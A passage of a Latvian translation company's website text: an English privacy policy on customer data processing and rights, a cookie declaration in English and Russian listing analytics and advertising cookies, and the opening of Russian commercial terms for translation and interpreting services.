force. 6. 3. The legitimate interests of Skrivanek - Skrivanek's interests are based on the provision of quality services and timely support to the Customer; Skrivanek has the right to process the Customer's personal data to the extent that it is objectively necessary and sufficient for the purposes specified in paragraphs 7. 1 to 7. 3 of this Policy. Skrivanek's legitimate interests include the processing of personal data through direct marketing, as a result of which the Customer is offered new and/or individual Skrivanek service offers (see also Paragraphs 8. 2 and 8. 3 of this Policy). Given the fact that Skrivanek is a part of SKRIVANEK Holding SE Group (see also Paragraph 12. 4 of this Policy), it has a legitimate interest in processing its Customer data by sending it to other companies in the group for internal administrative purposes, including, so that SKRIVANEK Holding SE Group can offer the Customer services that serve modern needs. 6. 4. Legal obligations - Skrivanek is entitled to process personal data in order to comply with the requirements of regulatory enactments and to provide answers to lawful requests of state and local governments. 6. 5. Protection of vital interests - Skrivanek is entitled to process personal data in order to protect the vital interests of the Customer or other natural person, for example, if video recorded data is necessary for the prevention and detection of criminal offences. 7. 1. Skrivanek processes personal data to ensure the provision of quality services during the period of validity of the Agreement with Skrivanek: 7. 1. 1. to process customer complaints and provide support (including technical support) for the services provided; 7. 1. 2. to manage effective cash flow, including for the administration of the Customer's payments and debts; 7. 1. 3. to inform Customers about services provided by other SKRIVANEK Holding SE Group companies; 7. 1. 4. for video surveillance for security purposes. 7. 2. Skrivanek processes personal data to promote the development of the industry and offer new services to Customers, including: 7. 2. 1. the creation of new services and offers about them; 7. 2. 2. for analysis of the market and development of the business model, Skrivanek customer statistical data processing is carried out. 7. 3. Skrivanek processes personal data to build and maintain Skrivanek's internal processes, to ensure document circulation and other internal processes (for example, archiving of Agreements and other documents) to the extent and amount necessary. 7. 4. Skrivanek has the right to process the data below and for other purposes upon receiving freely given and unambiguous consent from the Customer: 7. 4. 1. verification of the Customer's personal data in debt register databases in order to assess the Customer's ability to fulfil contractual obligations, during the validity period of the Agreement such verification is necessary in order to offer the Customer new and more modern services; 7. 4. 2. to promote the recognition of Skrivanek’s image in the market by sending customers good wishes, awarding bonuses, organising surveys to improve existing services and creating new services. 8. 1. Customer personal data profiling as data processing: 8. 1. 1. profiling is any type of automated processing of personal data, which is the use of personal data for the purpose of evaluating specific personal aspects of a natural person, in particular analysing or predicting aspects related to the personal preferences, interests, reliability, behaviour, location or movement of that individual; 8. 1. 2. by processing personal data of the Customer, Skrivanek can perform profiling to formulate and express individual offers. Automated individual decisions are made for business purposes only, and they will not produce legal consequences for the Customer. The Customer has the right to object to the adoption of an automated decision and not to be the subject of such a decision at any time, informing Skrivanek about it (see also the provisions of paragraph 8. 3 of this Policy). 8. 2. Direct marketing and the basis for sending Commercial Letters to Customers: Skrivanek carries out direct marketing by distributing commercial communications to Customers, so that Customers are always informed about new and/or directly created services for the Customers, as well as special contractual terms (for example, discounts) in accordance with the basis for the processing of personal data referred to in Paragraph 6. 3 of this Policy. Customers have the right to refuse to receive commercial communications at any time and free of charge, by informing Skrivanek about it (see also the provisions of Paragraph 8. 3 of this Policy). 8. 3. Customers have the right to object to the profiling of their personal data (see paragraph 8. 1) or to refuse to receive commercial communications (see paragraph 8. 2) at any time, informing Skrivanek verbally (during a telephone conversation, after identification of the Customer, by calling (+371) 67 240 364) or in writing (by filling out the form at Skrivanek's office, by sending an electronic request to birojs@skrivanek. lv or by visiting the Skrivanek office. The requested changes will take effect within three working days. Changes will not affect the legality of the processing of personal data before the Customer's objections and/or refusal specified in this clause. 9. 1. Cookies are small data files that are important for providing certain website features (such as logging in). Cookies allow websites to remember a variety of settings, such as language, fonts and other options that you have chosen to display on webpages. Therefore cookies are stored on your computer. This is how most of the major webpages and service providers work. 9. 2. Using cookies, common user behaviour and site usage history is processed, problems and disadvantages are detected on the site, user behaviour statistics are collected, and full and easy use of site functionality is provided. 9. 3. You can delete any cookies that are already on your computer. Most browsers also allow you to block the placement of cookies on your computer, but in this case, you will not be able to use all of our online services. More information about cookie settings in your browser is available on the web browser developer's website. The sites maintained by Skrivanek use functional, analytical, promotional and mandatory cookies. To learn more about cookies, please visit the Skrivanek webpage www. skrivanek. lv in the "Declaration about the use of cookies" section. 10. 1. Skrivanek obtains Customer Personal Data when Customers: 10. 1. 1. acquire Skrivanek services (at the Skrivanek office or remotely with previous Customer identification); 10. 1. 2. subscribe for news, announcements or other services from Skrivanek; 10. 1. 3. ask Skrivanek for more information about the service or contact Skrivanek regarding complaints or requests for information, by identifying the Customer; 10. 1. 4. participate in contests, lotteries or surveys; 10. 1. 5. visit or browse Skrivanek websites; 10. 1. 6. are filmed with Skrivanek Video Surveillance at Skrivanek. 10. 2. Skrivanek may process Customer personal data received from third parties if the Customer has agreed to it (for example, from holders of debt register, etc. ). 10. 3. Skrivanek may process Customer personal data about the Customer from other companies, SKRIVANEK Holding SE Group companies and affiliates (see Paragraph 12 of this Policy). 11. 1. Skrivanek will process Customer Data while there is at least one of the following conditions: 11. 1. 1. the Agreement between the Customer and Skrivanek is in force; 11. 1. 2. the term for the storage of personal data is specified or arising from the laws of the Republic of Latvia and the European Union; 11. 1. 3. as much as is necessary for the realisation and protection of the legitimate interests of Skrivanek; 11. 1. 4. until the Customer's consent to the processing of personal data has been revoked. Customer’s personal data is deleted no later than three months after the original reason for retention no longer applies, unless we have a legal obligation to continue to retain such data (for, but not limited to, accounting or court proceeding purposes). 12. 1. In order to provide the Services to the Customers, Skrivanek may share personal data with: 12. 1. 1. SKRIVANEK Holding SE Group companies; 12. 1. 2. partners or institutions involved in the provision of services ordered or used by the Customer; 12. 1. 3. debt collection companies, credit information offices, proprietary database holders or other debt recovery organisations; 12. 1. 4. assignees - In order to ensure efficient cash flow management, Skrivanek has the right to assign a claim to the debtor or debtors. 12. 2. Skrivanek has an obligation to provide personal information to the following authorities and services: 12. 2. 1. law enforcement authorities, the court or other state and local government institutions, if this is evident from the regulatory enactments or at the request of information of the relevant institution; 12. 3. Skrivanek will only provide the Customer's personal data in the necessary and sufficient amount in accordance with the requirements of the regulatory enactments and the objective circumstances of the particular situation. 12. 4. Skrivanek reserves the right, if necessary, to transfer Customer personal data to other SKRIVANEK Holding SE Group companies or service providers if this is necessary for the provision of better and high-quality services to Customers. For information about SKRIVANEK Holding SE Group companies, debt collection agencies, credit information offices, debt register database holders or other debt recovery organisations, assignees can contact Skrivanek using the specified communication channels (see "Contacts" on the Skrivanek webpage). 13. 1. Skrivanek provides, continually reviews and improves protection measures to protect the Customer's personal data from unauthorised access, accidental loss, disclosure or destruction. To ensure this, Skrivanek uses modern technology, technical and organisational requirements, i. e. Using Firewalls, Intrusion Detection, Analysis Software, and Data Encryption. 13. 2. Skrivanek carefully scrutinises all service providers that process personal data of the Customer on behalf of and in the name of Skrivanek, as well as assesses whether the cooperation partners (data controllers) are taking appropriate security measures in order to process the Customer's personal data in accordance with the Delegation of Skrivanek and the requirements of the regulatory enactments. Cooperation partners are not allowed to process the Customer's personal data for their own purposes. 13. 3. Skrivanek assumes no responsibility for any unauthorised access to personal data and/or loss of personal data if it is independent of Skrivanek, for example, due to the Customer's fault and/or negligence. 13. 4. In the event of a threat to the Customer's personal data, Skrivanek will notify the Customer of this. 14. 1. To contact Skrivanek for a copy of personal data at Skrivanek. 14. 2. To correct all personal data held by Skrivanek about yourself giving notification about changes by sending an e-mail electronically to birojs@skrivanek. lv, by calling (+371) 67 240 364 or at the Skrivanek office. 14. 3. Customers have the right to obtain information about those natural or legal persons who have received information about them for a certain period of time from Skrivanek. Skrivanek will not provide the Customers with information about the state institutions that are guiding criminal proceedings, the subjects of the operational activities or other institutions for which the law prohibits the disclosure of such information. 14. 4. To request the deletion or limitation of the processing of personal data that is no longer necessary for processing in accordance with the purposes for which they were collected and processed (right to be forgotten). 14. 5. To contact the supervising institution of Skrivanek or personal data processing (Data State Inspection, www. dvi. gov. lv) in connection with issues related to the processing of personal data. 14. 6. To contact the Skrivanek Data Protection Specialist for information on processing and protecting the customer’s personal data. 14. 7. To have access to its personal data within one month of submission of the relevant request. The Client may submit a request for the exercise of his/her rights in writing at the legal address of the Controller (upon the presentation of a personal identification document) or by e-mail, signing the request with a secure electronic signature. Upon receiving the Customer’s request for exercising his/her rights, the Controller verifies the identity of the data subject, evaluates the request and executes it in accordance with applicable laws and regulations. 15. 1 In order to provide high-quality customer service, we also organise interpreting and language training services on the cloud-based video and voice communication platforms Zoom or Microsoft Teams. 15. 2. Zoom’s current Privacy policy is available here – https://zoom. us/privacy, and Microsoft Teams’ Privacy policy is available here – https://www. microsoft. com/en-us/microsoft-365/blog/2020 / 04/06 / microsofts-commitment-privacy-security-microsoft-teams/. The developers of these platforms have stated in their Privacy policies that they comply with the basic principles of the processing of personal data set out in the Regulation and other legislation, thus ensuring compliance with the Regulation. Declaration about the use of cookies SKRIVANEK DATA PROTECTION SPECIALIST Uldis Krūmiņš dpo@skrivanek. lv --- > Find answers to the following questions: What are cookies? What is the purpose of using cookies on our website? How can you change the use of cookies? etc. - Published: 2018-05-23 - Modified: 2022-10-23 - URL: https://skrivanek.lv/privatuma-politika/pazinojums-par-sikdatnu-lietosanu/ - Translation Priorities: Optional THE CONTROLLER 1. The website https://skrivanek. lv (hereinafter – the Website) collects data about the visitors to the Website, thus gaining an opportunity for the Website Operator to evaluate how useful the Website is and how it could be improved. 2. The Controller who collects data about the Website visitors on the Website is SIA Skrivanek Baltic, reg. No. : 40003626172 (hereinafter – the Controller). 3. The Controller’s address: Lāčplēša iela 87C, Riga, LV-1011, e-mail: birojs@skrivanek. lv, phone: + 371 67240364. COOKIES 4. The Controller is constantly improving the Website to improve its use, so the Controller needs to know what information is important to the visitors to the Website, how often they visit the Website, what devices and browsers they use, what region visitors come from, and what content they read. 5. The Controller uses Google Analytics, which allows the Controller to analyse how visitors use the Website. You can read more about how the basics of Google Analytics work on the Google website. The Controller uses the collected data for its own legal interests in order to improve the understanding of the needs of the visitors to the Website and to improve the availability of the information published by the Controller. Statistics on visitors to the Website may only be accessed by those employees of the Controller who are responsible for the analysis of such data. 6. The server hosting the Website can record requests sent by a visitor (device used, browser, IP address, access date and time). The data referred to in this paragraph is used for technical purposes: to ensure the proper functioning and security of the Website and to investigate possible safety incidents. The basis for collecting the data referred to in this paragraph is the Controller’s legal interest in ensuring the technical availability and integrity of the Website. 7. Cookies are small files that, each time a visitor visits the Website, the browser stores on the visitor’s computer in the amount specified in the visitor’s browser settings. Individual cookies are used to select the information and advertisements offered to the visitor based on the content the visitor has viewed in the past, thus making the use of the Website simple, convenient and personalised for the visitor. For more information on cookies, and how to delete and manage cookies, visit www. aboutcookies. org. 8. The Website uses cookies to collect the user’s IP address and browsing information and to allow the Website to remember the visitor’s choice. Cookies allow the Controller to keep track of the Website data traffic and user interactions with the Website – the Controller uses this data to analyse visitor behaviour and improve the Website. The legal basis for the use of cookies is the Controller’s legitimate interest in ensuring the functionality, availability and integrity of the Website. TYPES OF COOKIES 9. By lifetime, cookies can be divided into two basic categories: short-term cookies (stored on your computer until you close your web browser, but then deleted) and long-term (persistent) cookies (stored on your computer for a longer period of time (depending on your browser and cookie settings) or until deleted manually). 10. The following cookies are used on Skrivanek Baltic websites (https://skrivanek. lv, https://valodumacibas. lv and https://bernunometnes. lv): WEBSITE COOKIE DESCRIPTION https://skrivanek. lv, https://valodumacibas. lv, https://bernunometnes. lv _fbp Facebook cookie. Stores information about website visitors. The cookie is valid for 3 months. https://skrivanek. lv, https://valodumacibas. lv _ga Google Analytics. Counts and saves pageviews. The cookie is valid for 1 year. Google Analytics Cookie Usage on Websites https://skrivanek. lv, https://valodumacibas. lv _ga_* Google Analytics. Counts and saves pageviews. The cookie is valid for 1 year. Google Analytics Cookie Usage on Websites https://skrivanek. lv, https://valodumacibas. lv _gcl_au Google Adsense. Ad performance metrics cookie. No expiration date. https://skrivanek. lv, https://valodumacibas. lv _gid Google Analytics. Counts and saves pageviews. The cookie is valid for 1 day. Google Analytics Cookie Usage on Websites https://skrivanek. lv, https://valodumacibas. lv, https://bernunometnes. lv cookie_notice_accepted GDPR Cookie Notice. Informs about the cookies used on the Website. No expiration date. https://valodumacibas. lv, https://bernunometnes. lv _gat_UA-* Google Analytics. Website visitor request metrics. Google Analytics Cookie Usage on Websites. The cookie is valid until the end of the session. https://bernunometnes. lv _ym_d Yandex Metrica. Saves information about the first visit. The cookie is valid for 1 year. https://bernunometnes. lv _ym_isad Yandex Metrica. Determines whether ad-blocking software is installed on a user’s browser. The cookie is valid for 2 days. https://bernunometnes. lv _ym_uid Yandex Metrica. A cookie is used to identify Website visitors. The cookie is valid for 1 year. https://bernunometnes. lv _ym_visorc Yandex Metrica. A unique identifier for the browser that allows one to track user activity on the Website. The cookie is valid until the end of the session. DISABLING THE USE OF COOKIES 11. The user of the Website has the right not to consent to the creation, storage and processing of such data by manually disabling the use of the cookie processing mechanism in the browser at any time. You can change cookie settings or delete cookies in your web browser settings. We added links to cookie management information resources for the most popular browsers: Firefox – https://support. mozilla. org/en-US/kb/cookies-information-websites-store-on-your-computer Chrome – https://support. google. com/chrome/answer/95647? hl=en Safari – https://support. apple. com/lv-lv/guide/safari/sfri11471/mac Opera – https://help. opera. com/en/latest/web-preferences/ Edge – https://support. microsoft. com/en-us/help/4468242/microsoft-edge-browsing-data-and-privacy Explorer – https://support. microsoft. com/en-us/help/278835/how-to-delete-cookie-files-in-internet-explorer More information on how to control cookies according to your device’s browser can be found at: www. aboutcookies. org. OTHER PROVISIONS 12. Unless otherwise specified, cookies are stored for the duration of the activity for which they were collected, and then they are deleted. 13. The Controller confirms that cookies and statistical information will be collected, processed and stored in accordance with the requirements of the regulatory enactments of the European Union, including Personal Data Protection Regulation No. 2016/679 of the European Parliament and of the Council of 27 April 2016. 14. The Controller is entitled to change these Terms at any time. The visitor to the Website is obliged to independently check the content of the Website in order to get acquainted with the changes in the terms. Privacy Policy SKRIVANEK DATA PROTECTION SPECIALIST Uldis Krūmiņš dpo@skrivanek. lv --- > Читайте ответы на вопросы о том, что такое cookie-файлы, в каких целях мы используем их на нашем сайте, как можно изменить использование cookie-файлов и т. п. - Published: 2018-05-23 - Modified: 2022-11-28 - URL: https://skrivanek.lv/privatuma-politika/pazinojums-par-sikdatnu-lietosanu/ - Translation Priorities: Optional АДМИНИСТРАТОР 1. На интернет-странице https://skrivanek. lv (далее в тексте – Страница) осуществляется сбор данных о посетителях Страницы, чтобы позволить владельцу Страницы оценить ее полезность и возможности улучшения. 2. Администратором, который собирает на Странице данные о ее посетителях, является SIA Skrivanek Baltic, рег. номер: 40003626172 (далее в тексте – Администратор). 3. Адрес Администратора: ул. Лачплеша, 87с, г. Рига, LV-1011, электронный адрес: birojs@skrivanek. lv, телефон: + 371 80007272. COOKIE-ФАЙЛЫ 4. Администратор постоянно совершенствует Страницу с целью улучшить ее использование, поэтому Администратору необходимо знать, какая информация важна для посетителей Страницы, насколько часто они посещают данную Страницу, какими устройствами и браузерами пользуются, в каком регионе находятся и какое содержание охотнее читают. 5. Администратор использует систему Google Analytics, позволяющую Администратору анализировать использование Страницы посетителями. Об основных принципах работы Google Analytics можно узнать на домашней странице Google по адресу: https://support. google. com/analytics/answer/1012034? hl=lten&ref_topic=6157800. Собранные данные Администратор использует в своих законных интересах, чтобы улучшить понимание потребностей посетителей Страницы и доступ к публичной информации Администратора. Доступ к статистическим данным о посетителях Страницы могут получить только сотрудники Администратора, ответственные за анализ таких данных. 6. Сервер, на котором находится Страница, может регистрировать отправляемые посетителем запросы (использованное устройство, браузер, IP-адрес, дата и время доступа). Данные, указанные в настоящем пункте, используются в технических целях: чтобы обеспечить надлежащее функционирование и безопасность Страницы, а также расследовать вероятные инциденты, связанные с безопасностью. Основанием для сбора данных, указанных в настоящем пункте, является правомерный интерес Администратора к обеспечению технической доступности и целостности Страницы. 7. Cookie-файлы – это небольшие текстовые файлы, которые при каждом посещении Страницы посетителем браузер сохраняет на его компьютере в размере, указанном в настройках браузера. Отдельные cookie-файлы используются для отбора и демонстрации подходящих для посетителя информации и рекламы на основании ранее просмотренного им содержания, чтобы тем самым сделать использование Страницы простым, удобным и соответствующим индивидуальным вкусам посетителя. Дополнительную информацию о cookie-файлах, а также об их удалении и управлении можно получить на домашней странице: www. aboutcookies. org. 8. Страница использует cookie-файлы для получения IP-адреса пользователя и информации о просмотре, чтобы запоминать выбор пользователя. Cookie-файлы позволяют Администратору отслеживать поток данных на Странице и взаимодействие пользователей со Страницей – Администратор использует эти данные для анализа действий посетителей и улучшения Страницы. Юридическим основанием использования cookie-файлов является законный интерес Администратора для обеспечения функциональности, доступности и целостности Страницы. ВИДЫ COOKIE-ФАЙЛОВ 9. По длительности действия cookie-файлы можно разделить на две основные категории: краткосрочные cookie-файлы (которые хранятся в компьютере до закрытия интернет-браузера, а впоследствии удаляются) и долгосрочные (постоянные) cookie-файлы (которые хранятся на компьютере длительное время (в зависимости от настроек вашего браузера и cookie-файлов) или до удаления вручную). 10. На принадлежащих Skrivanek Baltic страницах (https://skrivanek. lv, https://valodumacibas. lv и https://bernunometnes. lv) используются следующие cookie-файлы: СТРАНИЦА COOKIE-ФАЙЛ ОПИСАНИЕ https://skrivanek. lv, https://valodumacibas. lv, https://bernunometnes. lv _fbp Cookie-файл Facebook. Сохраняет информацию о посетителях интернет-страниц. Срок действия cookie-файла составляет 3 месяца. https://skrivanek. lv, https://valodumacibas. lv _ga Google Analytics. Подсчитывает и сохраняет просмотры страницы. Срок действия cookie-файла составляет 1 год. Google Analytics Cookie Usage on Websites https://skrivanek. lv, https://valodumacibas. lv _ga_* Google Analytics. Подсчитывает и сохраняет просмотры страницы. Срок действия cookie-файла составляет 1 год. Google Analytics Cookie Usage on Websites https://skrivanek. lv, https://valodumacibas. lv _gcl_au Google Adsense. Cookie-файл измерения эффективности рекламы. Не имеет срока действия. https://skrivanek. lv, https://valodumacibas. lv _gid Google Analytics. Подсчитывает и сохраняет просмотры страницы. Срок действия cookie-файла составляет 1 день. Google Analytics Cookie Usage on Websites https://skrivanek. lv, https://valodumacibas. lv, https://bernunometnes. lv cookie_notice_accepted Уведомление об использовании cookie-файлов согласно GDPR. Информирует о cookie-файлах, используемых на интернет-странице. Не имеет срока действия. https://valodumacibas. lv, https://bernunometnes. lv _gat_UA-* Google Analytics. Измерение запросов посетителей интернет-страницы. Google Analytics Cookie Usage on Websites. Срок действия cookie-файла равен сеансу. https://bernunometnes. lv _ym_d Yandex Metrica. Сохраняет информацию о первом посещении. Срок действия cookie-файла составляет 1 год. https://bernunometnes. lv _ym_isad Yandex Metrica. Определяет, установлено ли в браузере пользователя программное обеспечение, блокирующее рекламу. Срок действия cookie-файла составляет 2 дня. https://bernunometnes. lv _ym_uid Yandex Metrica. Cookie-файл используется для идентификации посетителей страницы. Срок действия cookie-файла составляет 1 год. https://bernunometnes. lv _ym_visorc Yandex Metrica. Уникальный идентификатор браузера, позволяющей следить за действиями пользователя на интернет-странице. Срок действия cookie-файла равен сеансу. ОТКАЗ ОТ ИСПОЛЬЗОВАНИЯ COOKIE-ФАЙЛОВ 11. Пользователь Страницы вправе не разрешить собирать, накапливать и обрабатывать такие статистические данные, отключив в браузере использование механизма обработки cookie-файлов в любое время вручную. Изменить настройки cookie-файлов или удалить их можно в настройках интернет-браузера. Прилагаем ссылки на справочные ресурсы об управлении cookie-файлами в наиболее популярных браузерах: Firefox – https://support. mozilla. org/en-US/kb/cookies-information-websites-store-on-your-computer Chrome – https://support. google. com/chrome/answer/95647? hl=en Safari – https://support. apple. com/lv-lv/guide/safari/sfri11471/mac Opera – https://help. opera. com/en/latest/web-preferences/ Edge – https://support. microsoft. com/en-us/help/4468242/microsoft-edge-browsing-data-and-privacy Explorer – https://support. microsoft. com/en-us/help/278835/how-to-delete-cookie-files-in-internet-explorer Подробную информацию об управлении cookie-файлами, в зависимости от браузера устройства, можно найти на интернет-странице: www. aboutcookies. org. ПРОЧИЕ УСЛОВИЯ 12. Если не указано иное, cookie-файлы хранятся, пока выполняются действия, для которых они были получены, и впоследствии они удаляются. 13. Администратор подтверждает, что сбор, обработка и хранение cookie-файлов и статистической информации осуществляется согласно требованиям нормативных актов Европейского союза, в том числе Регламента Европейского Парламента и Совета о защите личных данных № 2016/679 от 27 апреля 2016 г. 14. Администратор оставляет за собой право в любой момент внести изменения в настоящие условия. Посетитель Страницы обязан самостоятельно проверять ее содержание, чтобы ознакомиться с изменениями условий. Политика конфиденциальности СРЕЦИАЛИСТ ПО ЗАЩИТЕ ДАННЫХ SKRIVANEK Uldis Krūmiņš dpo@skrivanek. lv --- > Skrivanek – это языковое предприятие с более чем 25-летним опытом. Профессиональные и качественные языковые услуги для юридических и физических лиц. - Published: 2018-05-23 - Modified: 2021-11-03 - URL: https://skrivanek.lv/komercnoteikumi/ - Translation Priorities: Optional 1. ОСНОВНЫЕ УСЛОВИЯ 1. 1. Настоящие общие коммерческие условия устанавливают принципы сотрудничества между обществом с ограниченной ответственностью SIA Skrivanek Baltic, регистрационный номер 40003626172, юридический адрес: ул. Лачплеша, 87с, г. Рига, LV-1011, далее в тексте – Исполнитель, и его клиентом, далее в тексте – Заказчик, совместно именуемых Сторонами. 1. 2. Предметом коммерческих условий является оказание услуг, далее в тексте – Заказ, в рамках признанных видов коммерческой деятельности SIA Skrivanek Baltic, в особенности устных и письменных переводов согласно настоящим коммерческим условиям и условиям, оговоренным в Заказе. 1. 3. Договорные отношения между Заказчиком и Исполнителем устанавливаются при оформлении письменного Заказа (в том числе посредством переписки по электронной почте), в котором Стороны согласуют срок и порядок выполнения Заказа, а также условия оплаты. 2. ПИСЬМЕННЫЕ ПЕРЕВОДЫ 2. 1. Согласно положениям пункта 1, Исполнитель согласует Заказ и исполняет Заказ на определенном языке и в определенный срок, предварительно оговоренным способом передавая его Заказчику. 2. 2. Заказчик обязуется принять надлежащим образом выполненный Заказ и уплатить Исполнителю оговоренную цену. 2. 3. Заказчик обязан принять Заказ, отправленный в установленный срок и оговоренным способом. 2. 4. Заказчик или его уполномоченный работник обязаны по телефону или в письменной форме (в том числе по электронной почте) подтвердить прием Заказа, отмечая, что он принят вовремя. Если Заказчик не выполнил эту обязанность и в течение 24 часов после окончания срока передачи Заказа не напомнил о Заказе по телефону или в письменной форме (в том числе по электронной почте), Исполнитель может считать, что Заказчик получил Заказ своевременно и у него не возникло никаких возражений относительно срока и порядка выполнения Заказа. 2. 5. Выполнение Заказа не считается просроченным, если Исполнитель повторно, после напоминания Заказчика, отправляет ему Заказ и может доказать, что он уже отправлял его в срок и способом, предусмотренном в Заказе. 2. 6. Если Исполнитель без уважительной причины задерживает передачу Заказа, Заказчик вправе потребовать уплаты неустойки в размере 0,1 % от стоимости Заказа за каждый день задержки, но не больше 10 % от стоимости Заказа. 2. 7. Если по уважительным причинам передать Заказ Заказчику вышеуказанным способом не представляется возможным, Исполнитель выбирает другой способ передачи Заказа, стоимость которого оплачивает Заказчик, о чем он предварительно предупреждается. 2. 8. Если Заказчик в установленный срок не предъявляет претензию и не ссылается на обоснованную причину, однако отказывается принимать надлежащим образом выполненный Заказ, Заказ считается выполненным, и Исполнитель вправе выставить счет, который Заказчик обязан оплатить. 3. УСТНЫЕ ПЕРЕВОДЫ 3. 1. Согласно положениям пункта 1, Исполнитель согласует Заказ и исполняет Заказ (устный перевод) на определенном языке, в определенный срок и в определенном месте. 3. 2. Заказчик обязуется принять надлежащим образом выполненный Заказ и уплатить Исполнителю оговоренную цену за устный перевод. 3. 3. Исполнитель обеспечивает устный перевод при посредничестве переводчика (-ов). 3. 4. Заказчик обязан принять перевод в установленный срок и установленным способом, указанным на бланке заказа. 3. 5. Если устный перевод выполнен в соответствии с определенными требованиями и в установленный срок, и у Заказчика не возникли претензии, то Заказчик или его уполномоченное лицо обязаны сразу после выполнения перевода в акте о выполнении устного перевода в письменной форме подтвердить, что перевод выполнен с необходимым качеством и в установленный срок. 3. 6. Если Заказчик безосновательно отказывается принять надлежащим образом выполненный устный перевод и не предъявляет претензию в установленный срок, Заказ считается выполненным, и Исполнитель вправе выставить счет, который Заказчик обязан оплатить. 3. 7. Исполнитель обязуется хранить в тайне всю информацию, связанную с темой устного перевода, а также обязуется вести учет всех полученных от Заказчика вспомогательных материалов, в особенности конфиденциальной информации. 3. 8. Заказчик не имеет права требовать от переводчика (-ов) выполнения других действий, не указанных в бланке заказа, например: письменного перевода, протоколирования собрания и др. 3. 9. Исполнитель вправе потребовать оплатить все оговоренное время работы переводчика (-ов), в том числе если Заказчик не использовал все это время. 3. 10. Заказчик обязан обеспечить соответствующие условия труда для установленного вида устного перевода, включая техническое оснащение, если не заказывает его у Исполнителя. 3. 11. Заказчик обязан обеспечить доставку переводчика (-ов) из оговоренного места в место выполнения перевода. 3. 12. Если переводчик (-и) пользуется (-ются) личным транспортным средством, Заказчик по обоюдному соглашению с Исполнителем оплачивает все дорожные расходы переводчика (-ов). 3. 13. Заказчик обязан обеспечить переводчику ночлег – одноместный номер с удобствами. 3. 14. Заказчик обязан обеспечить переводчику (-ам) перерыв на обед и отдых продолжительностью минимум 30 минут один раз за четыре часа перевода. 3. 15. День устного перевода составляет 8 (восемь) часов, включая перерывы. 3. 16. Заказчик вправе получить компенсацию за время, на которое опоздает переводчик. 4. ПРАВА И ОБЯЗАННОСТИ СТОРОН 4. 1. Если Заказчик располагает внутренним утвержденным списком терминологии, желательно передать его в распоряжение Исполнителя на срок исполнения Заказа либо предоставить Исполнителю другие вспомогательные материалы, которые могут помочь в правильном выборе терминологии, или назначить ответственное лицо, которое будет предоставлять необходимые консультации. 4. 2. Заказчик обязан минимум за три дня до выполнения устного перевода отправить Исполнителю вспомогательные материалы (например: протоколы предыдущего собрания, рефераты, презентации или другие материалы). В случае невыполнения вышеуказанного условия возможные претензии к неточному употреблению терминов во время устного перевода не рассматриваются. 4. 3. Исполнитель не несет ответственности за возможные последствия, связанные с нарушениями авторских прав Заказчика. 4. 4. Исполнитель обязуется хранить в тайне всю информацию, связанную с предметом Заказа, а также обязуется вести учет всех полученных от Заказчика материалов, в особенности конфиденциальной информации. 4. 5. Заказчик обязуется без согласия Исполнителя не обращаться к письменному или устному переводчику Исполнителя. Если Исполнитель дает согласие на то, что Заказчик обратится к письменному или устному переводчику, Заказчик обязуется не разглашать письменному или устному переводчику информацию, относящуюся к конкретному содержанию Договора с Заказчиком и Исполнителем. В случае нарушения условий настоящего пункта Заказчик платит Исполнителю штраф в размере 500 евро. 5. ПРЕТЕНЗИИ 5. 1. Считается, что Заказ выполнен с недочетами, если его выполнение не соответствует условиям, изложенным в Заказе. 5. 2. Считается, что письменный перевод выполнен с недочетами также в случае недостаточного грамматического, стилистического или семантического качества выполненного Заказа. 5. 3. Если недочеты, указанные в пунктах 5. 1 и 5. 2, не обнаружены, Заказ считается выполненным надлежащим образом и в соответствии с требованиями Заказчика. 5. 4. Претензии предъявляются в письменной форме (в том числе по электронной почте). Претензии должны быть обоснованными и содержать указание вида недочета и по возможности их количество. 5. 5. Если Исполнитель признает претензию Заказчика обоснованной, он заново переделывает Заказ. В этом случае Заказчик вправе получить скидку от цены Заказа. 5. 6. Заказчику предоставляется соответствующая скидка от цены Заказа, если Исполнитель признает правомерной претензию Заказчика, основанную не на недочетах, упомянутых в пункте 5. 2, или если Заказчик отказывается от предложенной корректуры. 5. 7. Размер скидки определяется на основании заключения специалиста или по взаимной договоренности обеих Сторон. 5. 8. В случае возникновения между Сторонами спора в связи с претензией, предъявленной Заказчиком, в которой упоминаются недочеты, указанные в пункте 5. 2, обе Стороны обязуются вначале решить спор во внесудебном порядке, обратившись за заключением к компетентному независимому специалисту. Выбор специалиста согласуется обеими Сторонами по взаимной договоренности. 5. 9. Размер скидки зависит от предоставленного специалистом заключения или устанавливается по соглашению Сторон. 5. 10. Ответственность за возможные убытки, связанные с недочетами выполненного Заказа, несет Исполнитель. Стороны договорились, что размер требования и возмещения ущерба ограничен стоимостью Заказа. 5. 11. В случае коммерческих переводов, т. е. если Заказчик является коммерсантом, Заказчик обязан предъявить Исполнителю претензии о недочетах без излишнего промедления, как только их заметит, но не позднее 21 дня после получения выполненного Заказа. 5. 12. Если Заказчик является физическим лицом, он вправе предъявить требование согласно закону «О защите прав потребителей». 5. 13. Претензия, поданная с задержкой, не рассматривается и считается недействительной. 6. ПОРЯДОК РАСЧЕТОВ 6. 1. Расчет цены Заказа осуществляется на основании действующего прейскуранта Исполнителя и указанного в нем способа расчета цены. 6. 2. Если приблизительная цена Заказа следует только из приблизительного количества единиц, расчет цены осуществляется путем сложения реальных единиц (на целевом языке перевода) после выполнения перевода. 6. 3. Исполнитель вправе выставить счет за предоставленные услуги сразу после выполнения Заказа на условиях, указанных в Заказе. 6. 4. Оплата Заказа осуществляется на основании счета, выставленного Исполнителем, который Заказчик обязан оплатить до окончания установленного срока платежа. 6. 5. Если Заказчик просрочил оплату счета, начисляются проценты за просрочку в размере 0,01% от суммы долга за каждый день задержки платежа. 6. 6. В случае задержки любого предусмотренного договором платежа денежные взносы Заказчика вначале зачисляются в счет оплаты процентов за просрочку, а оставшаяся сумма идет на погашение суммы соответствующего долга. 6. 7. По соглашению обеих Сторон Исполнитель может выставить Заказчику счет на предоплату в размере 50 % от суммы Заказа. Счет на предоплату оплачивается в установленный срок. 7. ЗАЩИТА ЛИЧНЫХ ДАННЫХ ФИЗИЧЕСКИХ ЛИЦ 7. 1. Стороны обязуются соблюдать требования нормативных актов в области защиты личных данных, в том числе регламент Европейского парламента и Совета № 2016/679 о защите физических лиц в отношении обработки личных данных и о свободном обороте таких данных, отменяющий Директиву № 95/46/ЕС (Общий регламент о защите данных), а именно, обеспечивать, чтобы обработка личных данных: 7. 1. 1. была законной, добросовестной и прозрачной для субъектов данных; 7. 1. 2. осуществлялась для нужд выполнения Заказа, исключая способы, несовместимые с выполнением Заказа; 7. 1. 3. осуществлялась с обеспечением соответствующей нормативным актам безопасности данных, в том числе 